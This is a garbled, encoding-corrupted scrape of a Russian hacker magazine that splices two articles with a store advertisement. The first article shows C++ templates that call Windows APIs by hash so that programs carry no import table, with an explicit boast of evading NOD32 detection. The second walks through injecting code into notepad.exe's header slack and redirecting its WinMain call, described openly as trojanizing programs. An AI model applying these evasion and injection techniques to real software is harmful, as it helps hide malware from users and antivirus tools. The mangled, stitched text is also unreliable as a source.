ýòî ÷èñëî ñ÷èòàòü. Åãî âåäü ìîæíî êó÷åé ðàçíûõ ñïîñîáîâ ïîëó÷àòü. Îíà ó
íàñ áóäåò î÷åíü ïðîñòåíüêàÿ, ÿ åå âûäðàë èç çàìå÷àòåëüíûõ ïðîãðàìì
z0mbie è ïåðåïèñàë íà Ñè. 

êó÷à øàáëîíîâ âûçîâ ôóíêöèè ïîä äèçàññåìáåðîì

Ïðî ýòî òû, íàâåðíîå, íèã-
äå áîëüøå íå ñìîæåøü
ïðî÷åñòü. Ýòî óíèêàëüíàÿ
ðàçðàáîòêà íèêîìó êðîìå
àâòîðà íå íóæíàÿ.

Îáëàäàÿ îãðîìíûì âåçå-
íèåì è òåðïåíèåì, íà äèñ-
êå òû ñóìååøü îòêîïàòü
âñå èñõîäíûå êîäû, îïè-
ñàííûå â ñòàòüå.
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æåííûõ øàáëîíîâ ôóíêöèé, êîòîðûå â îáùåé ñëîæíîñòè ìîãëè ïðèíèìàòü
ëþáîå ÷èñëî ïàðàìåòðîâ. È äëÿ âûïîëíåíèÿ íóæíîé ôóíêöèè ïåðåäàâàë øàá-
ëîíó õýø, õýíäë ìîäóëÿ è àðãóìåíòû. Âñå. Îïðåäåëÿòü ïðè ýòîì êàæäóþ API
íå íóæíî, çíàé ñåáå þçàé øàáëîíû äëÿ ÂÑÅÃÎ. Ýòàêèå ãåéòû äëÿ API. Ìîæ-
íî â íèõ âñòðîèòü êàêóþ-íèáóäü ñèñòåìó ëîãèðîâàíèÿ, ÷òîáû âèäåòü âñå âû-
çîâû ñâîåé ïðîãðàììû. Ìîæíî êàêîé-íèáóäü âðåìÿ îò âðåìåíè ñðàáàòûâà-
þùèé àíòèîòëàäî÷íûé ïðèåì ïîñòàâèòü. Ãåéò äëÿ API â ñâîåé ïðîãðàììå �
ïîëåçíàÿ øòóêà. Â êà÷åñòâå ïðåïÿòñòâèÿ àíàëèçó � îñîáåííî. Øàáëîíû
âûãëÿäÿò òàê:

// äëÿ ôóíêöèè áåç àðãóìåíòîâ, ê ïðèìåðó GetTickCount
template <HMODULE h, DWORD hash>
inline LPVOID pushargEx()
{

typedef LPVOID (WINAPI *newfunc)();
newfunc func = (newfunc)GetProcAddressEx(h, hash);
return func();

}

// äëÿ ôóíêöèè ñ îäíèì àðãóìåíòîì
template <HMODULE h, DWORD hash, class A>
inline LPVOID pushargEx(A a1)
{

typedef LPVOID (WINAPI *newfunc)(A);
newfunc func = (newfunc)GetProcAddressEx(h, hash);
return func(a1);

}

// äëÿ ôóíêöèè ñ äâóìÿ àðãóìåíòàìè
template <HMODULE h, DWORD hash, class A, class B>
inline LPVOID pushargEx(A a1,  B a2)
{

typedef LPVOID (WINAPI *newfunc)(A, B);
newfunc func = (newfunc)GetProcAddressEx(h, hash);
return func(a1,a2);

}

// äëÿ ôóíêöèè ñ òðåìÿ àðãóìåíòàìè
template <HMODULE h, DWORD hash, class A, class B, class C>
inline LPVOID pushargEx(A a1,  B a2, C a3)
{

typedef LPVOID (WINAPI *newfunc)(A, B, C);
newfunc func = (newfunc)GetProcAddressEx(h, hash);
return func(a1,a2,a3);

}

// è ò.ä.

Ñîîòâåòñòâåííî, âûçîâ ôóíêöèè ÷åðåç íèõ ìîæåò âûãëÿäåòü ñëåäóþùèì
îáðàçîì:

// âûçîâåì, íàïðèìåð, Sleep ñ àðãóìåíòîì -
// 1000, òî åñòü îäíà ñåêóíäà
// kernel32 - õýíäë ÿäðà, âû÷èñëåííûé ðàíåå

pushargEx<kernel32, 0x3D9972F5>(1000);

Ïðîñòî, íåïðàâäà ëè? Îäíàêî ïî-ïðåæíåìó ñìóùàþò õýøè, êîòîðûå íàäî
âû÷èñëÿòü äëÿ êàæäîé ôóíêöèè. Äëÿ òîãî, ÷òîáû íå ïðèõîäèëîñü çàíèìàòü-
ñÿ åùå è ýòèì ãåìîððîåì, ÿ íàïèñàë îòäåëüíóþ ìàëåíüêóþ óòèëèòó, êîòî-
ðàÿ âû÷èñëÿåò õýøè è ñîçäàåò h-ôàéë ñî ñïåöèàëüíûì îïðåäåëåíèåì âñåõ
ôóíêöèé â çàäàííîé dll. Îíà âìåñòå ñ ñîðöàìè ëåæèò íà äèñêå. Ïîëüçîâàòü-
ñÿ åé î÷åíü ëåãêî, ïèøåøü calchash user32.dll, îíà òåáå âûäàåò ôàéë
user32.dll.h ñ ñîäåðæàíèåì, âðîäå òàêîãî:

...
#define GMessageBeep pushargEx<user32, 0xABBEE6BC>
#define GMessageBoxA pushargEx<user32, 0xABBC680D>
#define GMessageBoxExA pushargEx<user32, 0x1A0256AE>
#define GMessageBoxExW pushargEx<user32, 0x1A0256B8>
...

Êàê òû óæå ïîíÿë, åñëè äîáàâèòü ïîäîáíûé õèäåð â ïðîãðàììó âìåñòå 
ñ îïèñàííûìè âûøå ôóíêöèÿìè, òî äëÿ âûçîâà API â îáõîä òàáëèöû èìïîðòà
áóäåò äîñòàòî÷íî ïðèïèñàòü ê èìåíè ôóíêöèè áóêîâêó G ;). Íó è, êîíå÷íî,
íå çàáûòü ïîäãðóçèòü â ñàìîì íà÷àëå âñå áèáëèîòåêè, íàçâàâ ïåðåìåííûå
ñ èõ õýíäëàìè ïî ëåâîé ÷àñòè èìåíè ôàéëà dll.

[ïðèìåð ïðîãðàììû áåç òàáëèöû èìïîðòà]

#pragma comment(linker,"/ENTRY:WinMain")

#include <windows.h>
#include "kernel32.dll.h"
#include "user32.dll.h"

// õèäåð ñ ôóíêöèÿìè GetProcAddressEx, øàáëîíàìè è ò.ï.
#include "noimport.h"

HMODULE kernel32;
HMODULE user32;

int WINAPI WinMain(HINSTANCE, HINSTANCE, PTSTR, int)
{

kernel32 = GetKernel();
user32 = GLoadLibraryA ("user32.dll");

GMessageBox(0,"Hello world",0,0);
return 0;

}

[òåñòèðóåì] Íó, ÷òî â èòîãå ìû ïîëó÷èëè, êðîìå òîãî, ÷òî â PE-çàãîëîâêå
áîëüøå íåëüçÿ íàéòè ññûëêè íà òàáëèöó èìïîðòà. Îáû÷íûé îïðåäåëÿåìûé
ëþáûì äèçàññåìáëåðîì âûçîâ ôóíêöèè, âðîäå ýòîãî:

push 1000
call [Sleep]

Èçìåíèëñÿ íà:

push 3D9972F5h
push [esp+var_4]
call sub_2AA026E4
push 1000
call eax

Â êîäå òåïåðü ìàëî ÷òî ïîíÿòíî, ïðàâäà? È åñëè ïîêðó÷å ïîêîïàòüñÿ, òî ñ äè-
çàññåìáåðîì áóäåò òîæå ñàìîå. Íî ìîæíî ïîñòåïåííî ïîíÿòü, ÷òî
sub_2AA026E4 � ýòî àíàëîã ôóíêöèè GetProcAddress. Îäíàêî èùåò ôóíêöèþ
îí íå ïî èìåíè, à ïî ïîñ÷èòàííîé õýø-ôóíêöèè îò èìåíè. Êîøìàð! ×òîáû
ðàçîáðàòüñÿ â òîì, ÷òî äåëàåò ïðîãðàììà, íàïèñàííàÿ ïîäîáíûì îáðàçîì,
ïðèäåòñÿ íå îäèí ÷àñ ïðîñèäåòü ñ îòëàä÷èêîì è äèçàññåìáëåðîì â ðóêàõ,
ïûòàÿñü ñîïîñòàâèòü, êàêîìó èç ïîäîáíûõ âûçîâîâ êàêîé îáû÷íûé API-âû-
çîâ ñîîòâåòñòâóåò. 
Íå îäíîìó òîëüêî ðåâåðñåðó, êñòàòè, êîøìàð. Âñÿ÷åñêèå ýâðèñòèêè è ïî-
äîáíàÿ ôèãíÿ íà ýòîì äåëå òîæå âûìðóò � ïðîâåðåíî. Âçÿòü, ê ïðèìåðó,
NOD32. ß äëÿ òåñòà íàïèñàë ìàëåíüêóþ ïðîãðàììó, êîïèðóþùóþ ñåáÿ â
ñèñòåìíóþ äèðåêòîðèþ, â ðååñòð è ñëóøàþùóþ ïîðò. NOD32 íà ïàðàíîè-
äàëüíîì óðîâíå áåçîïàñíîñòè òîò ÷àñ æå îêðåñòèë åå êàê «âåðîÿòíî âè-
ðóñ». Ïîòîì ÿ çàìåíèë âñå âûçîâû íà ìîè «õèòðûå». Óãàäàé, ÷òî íà ýòî ñêà-
çàë àíòèâèðóñ? Íè÷åãî ïëîõîãî! Ñêóøàë, áóðêíóë «ñïàñèáî, âèðóñîâ íå
íàéäåíî, ïðèõîäèòå åùå», è íà áîêîâóþ.
È ýòî âåäü òîëüêî íà÷àëî òàêîé çàìå÷àòåëüíîé øòóêè êàê precompiled-
ìåòàìîðôèçì (âåðîÿòíî, òåðìèí ÿ ïðèäóìàë äóðàöêèé, çàòî äîñòèã â
ýòîé øòóêå íåìàëîãî). Êîìïèëÿòîð ìîæíî íàó÷èòü òàêèì îôèãåííûì
øòóêàì, êàêèå è íå ñíèëèñü îáû÷íûì ïîëèìîðôíûì èëè ìåòàìîðôíûì
äâèæêàì. Ïîëíàÿ ïåðåñòðîéêà ïðîãðàììû äëÿ íèõ � ïóñòÿê. Ãëàâíîå �
ïðàâèëüíî îôîðìèòü èñõîäíûé êîä, òî åñòü íàó÷èòü âñåìó êîìïèëÿòîð.
Ìîæíî, ê ïðèìåðó, çàñòàâèòü åãî îôîðìëÿòü ðàçíûå âûçîâû. Ñêàæåì, â
çàâèñèìîñòè îò íîìåðà ñòðîêè èñõîäíîãî êîäà âñòàâëÿòü ëèáî call, ëèáî
push $+5\push addr\ret, ëèáî åùå ÷òî-íèáóäü. Õýø-ôóíêöèè èñïîëüçîâàòü
âñå âðåìÿ ðàçíûå. Ìîæíî ïîïðîáîâàòü íàó÷èòü êîìïèëÿòîð (î, íåäîêó-
ìåíòèðîâàííûå âîçìîæíîñòè, êàê âû ïðåêðàñíû è óæàñíû îäíîâðåìåí-
íî) ïåðåãðóæàòü îïåðàòîðû ñòàíäàðòíûõ òèïîâ. Òû ïðåäñòàâü òîëüêî �
ïîäñóíóòü ñâîé îïåðàòîð ïðèñâàèâàíèÿ âìåñòî äåôîëòíîãî, è âïèõèâàòü
â íåãî âñå âðåìÿ êó÷ó ëèøíåãî êîäà è êàêèõ-íèáóäü íåõîðîøèõ òðþêîâ
åùå íà ýòàïå êîìïèëÿöèè. Ìîæíî íàïèñàòü îòëè÷íóþ ñèñòåìó, êîòîðàÿ
ïîçâîëÿëà áû îáû÷íûå íîðìàëüíûå ïðîãðàììû êîìïèëèðîâàòü òàê,
ñëîâíî êîìïèëÿòîð â çàäíèöó îñà óêóñèëà, òàê ÷òî íèêàêèå ïðîòåêòîðû è
óïàêîâùèêè íå ïîíàäîáÿòñÿ.
Òåáÿ, íàâåðíî, ìó÷àåò âîïðîñ: à çà÷åì âñå ýòî äåéñòâèòåëüíî íóæíî? Óñ-
ëîæíåíèå àíàëèçà è ò.ï. � ýòî ïîíÿòíî, à çà÷åì ìåòàìîðôèçì êàêîé-òî, äà
åùå è íà ýòàïå êîìïèëÿöèè. Ïî÷åìó áû íè èñïîëüçîâàòü ãîòîâûå íàâåñíûå
ïðîòåêòîðû, çà÷åì óñòðàèâàòü âåñü ýòîò ãåìîððîé? 
Áóäó êðàòîê. Ðàäè Äàî[X
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Â ííàøåì ààãàçèíå
âàñ ææäåò ááîëåå
1000 èèãð 
íà ââàø ââûáîð

Ïîñòîÿííî    
îáíîâëÿåìûé 
àññîðòèìåíò

Ïîñòîÿííî    
îáíîâëÿåìûé 
àññîðòèìåíò

*

ÌÌîîííèèòòîîðð
SShhuuttttllee XXPP1177SSGG

$675.99

ÍÍààóóøøííèèêêèè
AAKKGG KK440066 AAFFCC 

$162.99

ÊÊîîëëîîííêêèè
MM-AAuuddiioo SSttuuddiioopphhiillee 
LLXX44 22..11 SSyysstteemm

$339.99

ØØëëååìì
ii-OO DDiissppllaayy SSyysstteemmss
ii-SSccaappee IIII

$289.99

ÊÊîîððóóññ
SShhuuttttllee SSBB8833GG55CC

$485.99

PPiinnnnaaccllee SSyysstteemmss
SShhoowwCCeenntteerr 11000000gg 

$285.99

* *

Èãðàé
ïðîñòî!

GamePost 

ÏÎËÓ×È
ÌÀÊÑÈÌÓÌ
ÓÄÎÂÎËÜÑÒÂÈß
ÈÑÏÎËÜÇÓß ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÀÊÑÅÑÓÀÐÛ 

ÍÅ ÎÃÐÀÍÈ×ÈÂÀÉ

ÑÅÁß
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ÒÐÎßÍÈÇÀÖÈß ÏÐÈËÎÆÅÍÈÉ � ÂÅÑÜÌÀ
ÏÅÐÑÏÅÊÒÈÂÍÀß ÄËß ÕÀÊÅÐÀ ØÒÓÊÀ. ÎÍÀ
ÏÎÇÂÎËßÅÒ ÅÌÓ Ñ ÍÅÂÈÄÀÍÍÎÉ ÑÊÎ-
ÐÎÑÒÜÞ ÐÀÑÏÐÎÑÒÐÀÍßÒÜ ÒÐÎßÍÛ ÏÎÄ ÂÈ-
ÄÎÌ ÑÀÌÛÕ ÎÁÛ×ÍÛÕ ÏÐÎÃÐÀÌÌ. ÏÐÈ×ÅÌ
ÍÅ ÏÐÎÑÒÎ ÏÎÄ ÂÈÄÎÌ. ÏÐÎÃÐÀÌÌÛ ÏÐÎ-
ÄÎËÆÀÞÒ ÐÀÁÎÒÀÒÜ È ÍÎÐÌÀËÜÍÎ ÔÓÍÊÖÈ-
ÎÍÈÐÎÂÀÒÜ, ÍÅ ÂÛÄÀÂÀß ÅÃÎ ÂÐÅÄÎÍÎÑÍÎ-
ÃÎ ÊÎÄÀ, ÊÎÒÎÐÛÉ ÑÏÎÊÎÉÍÎ È ÒÈÕÎ ÃÀ-
ÄÈÒ ÏÎËÜÇÎÂÀÒÅËÞ, ÑÍÈÔÀß ÊËÀÂÓ, ÂÎÐÓß
ÏÀÐÎËÈ È Ò.Ï. ÏÐÎ×ÈÒÀÂ ÝÒÓ ÑÒÀÒÜÞ, ÒÛ
ÏÎÉÌÅØÜ, ÊÀÊ ÕÀÊÅÐÛ ÂÍÅÄÐßÞÒ ÑÂÎÉ ÂÈ-
ÐÓÑÍÛÉ ÊÎÄ Â ÏÐÈËÎÆÅÍÈß, ÍÅ ÏÎÐÒß ÐÀ-
ÁÎÒÎÑÏÎÑÎÁÍÎÑÒÈ ÏÎÑËÅÄÍÈÕ. ÒÛ, ÊÎÍÅ×-
ÍÎ, ÑÎÎÁÐÀÇÈØÜ ÊÀÊ ÝÒÎÒ ÊÎÄ ÎÁÍÀÐÓ-
ÆÈÒÜ È ÈÇÂËÅ×Ü| Êðèñ Êàñïåðñêè àêà ìûùúõ (FreeBSD@smtp.ru)
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Íàøè ýêñïåðèìåíòû áóäóò íîñèòü ñîâåðøåííî íåâèííûé õàðàêòåð. 
Ìû âîçüìåì ñòàíäàðòíûé notepad.exe è áóäåì íàä íèì èçäåâàòüñÿ � âíåä-
ðÿòü êîä, èçó÷àòü âñÿ÷åñêè, ìó÷àòü. Ëèöåíçèîííîå ñîãëàøåíèå îò Microsoft
íàì ïðèäåòñÿ ðàçîðâàòü. Ïðè÷åì íà ìåëêèå êóñêè. Îíî íàì áîëüøå íå ïî-
íàäîáèòñÿ. Ìîäèôèêàöèÿ notepad'à àííóëèðóåò âñå ëüãîòû, îáÿçàòåëüñòâà
è ãàðàíòèè ñî ñòîðîíû Microsoft. Ñâåæóþ Windows ñî ñêèäêîé óæå íå ïîëó-
÷èøü! Íó è áîëüíî íàäî! Ïîñòàâèì Linux! Íî ýòî ïîòîì, à ïîêà�

[äæåíòëüìåíñêèé íàáîð] Áîëüøèíñòâî õàêåðñêèõ ñòàòåé, ðàññêàçûâà-
þùèõ î òðîÿíèçàöèè ïðèëîæåíèé, ïðåäëàãàåò íàïðÿìóþ ïðàâèòü èõ â HIEW
èëè ëþáîì äðóãîì HEX-ðåäàêòîðå. Íî ýòî ïîðî÷íàÿ ïðàêòèêà (æèâîäåðñòâî
ñïëîøíîå)! Ïîëíîöåííóþ ïðîãðàììó â HIEW íå íàïèøåøü, à åñëè è íàïè-
øåøü, òî ïîòîì íå èçìåíèøü, âåäü ÷òîáû äîáàâèòü îäíó-åäèíñòâåííóþ êî-
ìàíäó ïðèõîäèòñÿ ïåðåáèâàòü âåñü êîä öåëèêîì.
Ïîñòóïèì óìíåå! Íàáåðåì ïðîãðàììó â ñâîåì ëþáèìîì ðåäàêòîðå, íàïðè-
ìåð, TASMED, WinAsm Studio èëè FAR'å è îòêîìïèëèðóåì åå FASM'îì. 
Ïîëó÷åííûé äâîè÷íûé ôàéë áóäåò ëåãêî âñòàâëÿòüñÿ HEX-ðåäàêòîðîì 
â ëþáîé ýêçåøíèê. Íó, èëè ïî÷òè â ëþáîé.
Åùå íàì ïîòðåáóåòñÿ IDA Pro èëè äðóãîé ïðèëè÷íûé äèçàññåìáëåð, êîòî-
ðûì ìû áóäåì èññëåäîâàòü ïîäîïûòíûé ôàéë. Îòëàä÷èê � SoftIÑE, MS
DBG èëè OllyDbg. Îí ïîìîæåò íàéòè îøèáêè âî âíåäðÿåìîì êîäå. Êðàéíå
ìàëîâåðîÿòíî, ÷òî íàïèñàííàÿ íàìè ïðîãðàììà çàðàáîòàåò ñ ïåðâîãî ðàçà,
ïîýòîìó áåç îòëàä÷èêà äàëåêî íå óïëûâåøü.
Îñòàëüíûå èíãðåäèåíòû (ïèâî/êâàñ/ñèãàðåòû) ïî âêóñó.

[êóäà ïîäàòüñÿ?] Ïðîùå âñåãî âíåäðÿòüñÿ â ñâîáîäíîå ìåñòî ôàéëà.
Êñòàòè, ïðåäóïðåæäàþ, ÷òî òðîÿíèçèðóåìûé ôàéë ìû áóäåì íàçûâàòü äðî-
çîôèëîé, à âíåäðÿåìûé êîä � áàöèëëîé. Åñëè ñâîáîäíîãî ìåñòà íåò, ìîæ-
íî ðàçäâèíóòü ïîñëåäíþþ ñåêöèþ è âíåäðèòüñÿ â íåå, íî ýòî íàìíîãî ñëîæ-
íåå, ïîýòîìó òàêîé ñïîñîá çäåñü ðàññìàòðèâàòüñÿ íå áóäåò. Åñëè òåáå âñå-
òàêè èíòåðåñíî, êàê ïîäîáíîå ðåàëèçóåòñÿ � òîïàé íà www.wasm.ru çà
ñòàòüåé «ïóòè âîèíà � òåõíèêà âíåäðåíèÿ â PE-ôàéëû».
Òèïè÷íûé PE-çàãîëîâîê âìåñòå ñ òàáëèöåé ñåêöèé è MZ-çàãîëîâêîì çàíè-
ìàåò ÷óòü áîëüøå 200h áàéò, à ìèíèìàëüíîå ôèçè÷åñêîå âûðàâíèâàíèå
âíóòðè ôàéëà (File Alignment), êîòîðîå òîëüêî ïîääåðæèâàåò Windows, êàê
ðàç è ñîñòàâëÿåò 200h! Òàêèì îáðàçîì, â íàøåì ðàñïîðÿæåíèè îêàçûâàåò-

òåêñò äðîçîôèëû, íàáðàííûé â ðåäàêòîðå WinAsm Studio

Âíåäðÿåì ñâîé êîä 
â ïðèëîæåíèÿ ïîä windows

Ðó÷íàÿ
òðîÿíèçàöèÿ



êàê-òî âçàèìîäåéñòâîâàòü ñ âíåøíèì ìèðîì: îòêðûâàòü ôàéëû, óñòàíàâëè-
âàòü ñåòåâûå ñîåäèíåíèÿ, âûâîäèòü ðóãàòåëüíûå ñîîáùåíèÿ è ò. ä. Îáû÷íî
äëÿ ýòîãî èñïîëüçóåòñÿ ïðÿìîé âûçîâ API-ôóíêöèé. Íî ýòî íå ëó÷øèé âàðè-
àíò. Íàìíîãî óäîáíåå èñïîëüçîâàòü âûñîêîóðîâíåâûå áèáëèîòå÷íûå ôóíê-
öèè, äîñòàâøèåñÿ áàöèëëå â íàñëåäñòâî îò äðîçîôèëû. Ñîãëàñèòåñü, íàì-
íîãî óäîáíåå îòêðûâàòü ôàéë ñ ïîìîùüþ _fopen, ÷åì CreateFile. Îäíèõ
òîëüêî àðãóìåíòîâ â ïîñëåäíåì ñëó÷àå ïîòðåáóåòñÿ ìèëëèîí!
Áèáëèîòå÷íûå ôóíêöèè ëåãêî ðàñïîçíàþòñÿ ïðè ïîìîùè IDA Pro. È åñëè
ìû çàïèõíåì íàøó äðîçîôèëó ïîä ýòîò çàìå÷àòåëüíûé äèçàññåìáëåð, òî
ìû óâèäèì, ÷òî àäðåñ ôóíêöèè _fopen ðàâåí 401988h, çíà÷èò, åå âûçîâ áó-
äåò âûãëÿäåòü ïðèáëèçèòåëüíî òàê:

[ïðèìåð âûçîâà ñòàíäàðòíîé áèáëèîòå÷íîé ôóíêöèè ÿçûêà Ñè]

; àðãóìåíòû çàíîñÿòñÿ ñïðàâà íàëåâî
push aRb ; "rb" óêàçàòåëü íà ñòðîêó ñ ðåæèìîì îòêðûòèÿ ôàéëà
push aName ; óêàçàòåëü íà èìÿ ôàéëà
call 401988h ; âûçûâàåì ôóíêöèè _fopen
add esp, 8 ; óäàëÿåì àðãóìåíòû èç ñòåêà

Îäíàêî èñïîëüçîâàòü áèáëèîòå÷íûå ôóíêöèè ìîæíî òîëüêî ïîñëå òîãî, êàê
îòðàáîòàåò Start-Up (ñòàðòîâûé êîä), èíà÷å ó íàñ íè÷åãî íå ïîëó÷èòñÿ. Â
ýòîì íàì âíîâü ïîìîæåò IDA Pro, ðàñïîçíàþùàÿ ôóíêöèþ main (WinMain)
ÿçûêîâ C/C++ è ïàñêàëåâñêóþ ïðîöåäóðó Begin. Â notepad'å âûçîâ ãëàâíîé
ôóíêöèè ðàñïîëîæåí ïî àäðåñó 1006571h. Çäåñü íàõîäèòñÿ call 100299Eh,
ãäå 100299Eh � àäðåñ WinMain. Äëÿ âíåäðåíèÿ äðîçîôèëû, äîñòàòî÷íî èç-
ìåíèòü call 100299Eh íà ñâîé àäðåñ, â ñìûñëå àäðåñ áàöèëëû.
À ÷òî äåëàòü, åñëè áèáëèîòå÷íûå ôóíêöèè íå ðàñïîçíàíû èëè ñðåäè íèõ
íåò òîé, ÷òî íóæíà íàì? Òîãäà ìîæíî îáðàòèòüñÿ ê èìïîðòó äðîçîôèëû è
ïîèñêàòü òàì. Â IDA Pro ýòî äåëàåòñÿ òàê: View -> Open Subview -> Imports.
Â íàøåì ñëó÷àå, íàïðèìåð, àäðåñ ôóíêöèè MessageBoxW ðàâåí 01001204h.
Íà ñàìîì äåëå, ýòî åùå íå ñàì àäðåñ, à òîëüêî óêàçàòåëü íà íåãî, èíèöèàëè-
çèðóåìûé íà ñòàäèè çàãðóçêè, à ïîòîìó âûçîâ ôóíêöèè áóäåò âûãëÿäåòü òàê:

[ïðèìåð âûçîâà API-ôóíêöèè èç èìïîðòà äðîçîôèëû]

xor eax,eax ; îáíóëÿåì eax
push 30h ; uType
push lpCaption ; lpCaption
push lpText ; lpText
push eax ; hWnd
call dword [1001204h] ; âûçûâàåì ôóíêöèè MessageBoxW

Íî â íåêîòîðûõ ñëó÷àÿõ, â èìïîðòå èñêîìîé ôóíêöèè íåò. ×òî òîãäà? Åñòü
äâà ïóòè: èñïîëüçîâàòü ñâÿçêó LoadLibrary\GetProcAddress èëè ñêàíèðîâàòü
èìïîðò âðó÷íóþ. Îáà ýòèõ ñïîñîáà óæå ðàññìàòðèâàëèñü â ñòàòüå «Æèâó-
÷èé êîä: òåõíèêà íàïèñàíèÿ ïåðåíîñèìîãî shell-êîäà», îïóáëèêîâàííîé â
Ñïåöå, ïîñâÿùåííîì îøèáêå ïåðåïîëíåíèÿ áóôåðà (àâãóñò 2004 ãîäà). 

[ïàìÿòü â êðåäèò] Êîäîâàÿ ñåêöèÿ íåäîñòóïíà äëÿ çàïèñè. Ãäå æå äðîçî-
ôèëà áóäåò õðàíèòü ñâîè ïåðåìåííûå? Ïðîùå âñåãî âîñïîëüçîâàòüñÿ ñòàí-
äàðòíîé Ñèøíîé ôóíêöèé malloc èëè API-ôóíêöèé VirtualAlloc äëÿ âûäåëåíèÿ
ïàìÿòè èç êó÷è. Ïðè÷åì âûäåëåííóþ ïàìÿòü ìîæíî äàæå íå îñâîáîæäàòü �
ïðè çàêðûòèè ïðèëîæåíèÿ Windows ñäåëàåò ýòî ñàìîñòîÿòåëüíî.
Åùå ïðîùå èñïîëüçîâàòü ñòåê. Êîìàíäà SUB ESP, n� âûäåëÿåò n áàéò, à
ADD ESP, n� âîçâðàùàåò èõ îáðàòíî. Îäíàêî òèïè÷íûé îáúåì ñòåêà ñîñ-
òàâëÿåò âñåãî íåñêîëüêî ìåãàáàéò, à ýòîãî êîëè÷åñòâà íå âñåãäà äîñòàòî÷-
íî, òàê ÷òî íà ïðàêòèêå ñïîñîáû ïðèõîäèòñÿ êîìáèíèðîâàòü.

[âíåäðåíèå] Âîò ìû è ïîäîøëè âïëîòíóþ ê âíåäðåíèþ. Ñîçäàäèì áàöèëëó,
âûâîäÿùóþ ïðîñòîå äèàëîãîâîå îêíî ïåðåä çàïóñêîì äðîçîôèëû. Îòêðûâà-
åì FAR èëè ëþáîé äðóãîé ðåäàêòîð è ïèøåì. À ÷òî ìû, ñîáñòâåííî, ïèøåì?

ñÿ ïðàêòè÷åñêè 200h íåçàíÿòûõ
áàéò èëè äàæå áîëüøå! Äëÿ óñêîðå-
íèÿ çàãðóçêè ôàéëà áîëüøèíñòâî
ëèíêåðîâ âûðàâíèâàåò àäðåñ íà÷à-
ëà ïåðâîé ñåêöèè íå ïî File
Alignment, à ïî Section Alignment, êî-
òîðûé íèêàê íå ìåíüøå 1000h. Êàê
ñëåäñòâèå � íàøè âëàäåíèÿ óâåëè-
÷èâàþòñÿ äî E00h áàéò. Äëÿ àññåìá-
ëåðíûõ ïðîãðàìì ýòî öåëûé ìàòå-
ðèê, íà êîòîðîì è ñëîíà ðàçìåñòèòü
ìîæíî. Íó, åñëè íå ñëîíà, òî ïîëíî-
öåííóþ áàöèëëó � òî÷íî! Â óïàêî-
âàííûõ ôàéëàõ, çàãîëîâîê ïðèæàò ê
ïåðâîé ñåêöèè ïðàêòè÷åñêè âïëîò-
íóþ, ïîýòîìó, ïåðåä íà÷àëîì âíåä-
ðåíèÿ èõ íåîáõîäèìî ðàñïàêîâàòü.
Îòðîåì notepad.exe â ðåäàêòîðå

HTE è áóäåì ïðîêðó÷èâàòü åãî äî òåõ ïîð, ïîêà íå âðåæåìñÿ â íàïàõàí-
íóþ öåëèíó ñïëîøíûõ íóëåé. Â íàøåì ñëó÷àå îíà íà÷èíàåòñÿ ñ àäðåñà
2F0h (èìåííî 2F0h, à íå 2EFh, ïîñêîëüêó ïîñëåäíèé íóëü ñëóæèò çàâåð-
øèòåëåì ñòðîêè WINSPOOL.DRV è òðîãàòü åãî íåæåëàòåëüíî). Èç ëþá-
âè ê êðóãëûì öèôðàì, âûáåðåì 300h, õîòÿ âûðàâíèâàòü íà÷àëî âíåäðÿ-
åìîãî êîäà ñîâåðøåííî íåîáÿçàòåëüíî.
Òåïåðü íåîáõîäèìî îïðåäåëèòü áàçîâûé àäðåñ çàãðóçêè ôàéëà. Îí ñîäåðæèò-
ñÿ â çàãîëîâêå. Íå âûõîäÿ èç HTE, íàæìåì <F6> (mode) è âûáåðåì pe/header.
Òàì, â ðàçäåëå optional header: NT fields, áóäåò ïîëå image base. Ýòî è åñòü áà-
çîâûé àäðåñ, â íàøåì ñëó÷àå ðàâíûé 1000000h. Òàêæå íåîáõîäèìî óáåäèòüñÿ,
÷òî çàãîëîâîê äåéñòâèòåëüíî ðàñïàõíóò íà âñþ øèðèíó (îí ëåæèò â òîì æå ðàç-
äåëå â ïîëå «size of headers») è â íàøåì ñëó÷àå ðàâåí 600h. Ýòî çíà÷èò, ÷òî
ïðè çàãðóçêå ôàéëà â ïàìÿòü îòîáðàæàþòñÿ òîëüêî ïåðâûå 600h áàéò îò åãî
íà÷àëà, à ïîñêîëüêó ìû íà÷èíàåì âíåäðåíèå ñ 300h áàéòà, ðàçìåð áàöèëëû íå
ìîæåò ïðåâûøàòü 600h�300h == 300h áàéò. Ïëîõî! Î÷åíü ïëîõî! Íî ïðè æå-
ëàíèè ýòî ïîëå ìîæíî óâåëè÷èòü äî 1000h. Ãëàâíîå, ÷òîáû îíî íå ïðåâûøàëî
Section Alignment, óêàçàííîãî íèæå. Òàêæå íàäî óáåäèòüñÿ, ÷òî ôàéë íå ñîäåð-
æèò ïåðåìåùàåìûõ ýëåìåíòîâ, êîòîðûå ìîãóò èñïîðòèòü âñþ ìàëèíó. Ñìîò-
ðèì, åñëè ïîëå base relocation table â ðàçäåëå optional header: directories íå ðàâ-
íî íóëþ, ëó÷øå âñåãî îòêàçàòüñÿ îò âíåäðåíèÿ âîîáùå. Ïðè áîëüøîì æåëàíèè
ìîæíî âíåäðèòüñÿ è â ïåðåìåùàåìûå ôàéëû, ýòî ëèøü ÷óòü-÷óòü òðóäíåå, îä-
íàêî íå áóäåì ëåçòü â äåáðè è äëÿ íà÷àëà ðàçáåðåìñÿ ñ ïðîñòûì.
Êîíòðîëüíóþ ñóììó (checksum) ïðàâèòü íåîáÿçàòåëüíî. Windows âñå ðàâíî
åå èãíîðèðóåò. Àíòèâèðóñû, êñòàòè ãîâîðÿ, òîæå. ß âñåãäà ãîâîðèë, ÷òî îíè
òóïûå ñîçäàíèÿ! Âïðî÷åì, äëÿ ïåðåñòðàõîâêè ýòî ïîëå ìîæíî îáíóëèòü èëè
ðàññ÷èòàòü íîâóþ êîíòðîëüíóþ ñóììó ñ ïîìîùüþ óòèëèòû editbin, ïîñòàâ-
ëÿåìîé ñ êîìïèëÿòîðîì Microsoft Visual C++.
Òàêæå ìîæíî âíåäðÿòüñÿ â êîíåö ñåêöèè êîäà, â õâîñòå êîòîðîé ïàñåòñÿ äî
FFFFh ñâîáîäíûõ áàéò, îñòàâëåííûõ îò âûðàâíèâàíèÿ, îäíàêî ÷àùå âñåãî
èõ êîëè÷åñòâî íå ïðåâûøàåò 50h, ÷åãî äëÿ ïîëíîöåííîé ïðîãðàììû ÿâíî
íåäîñòàòî÷íî. Â îáùåì, áóäåì èìåòü ýòó çàíà÷êó â âèäó. 
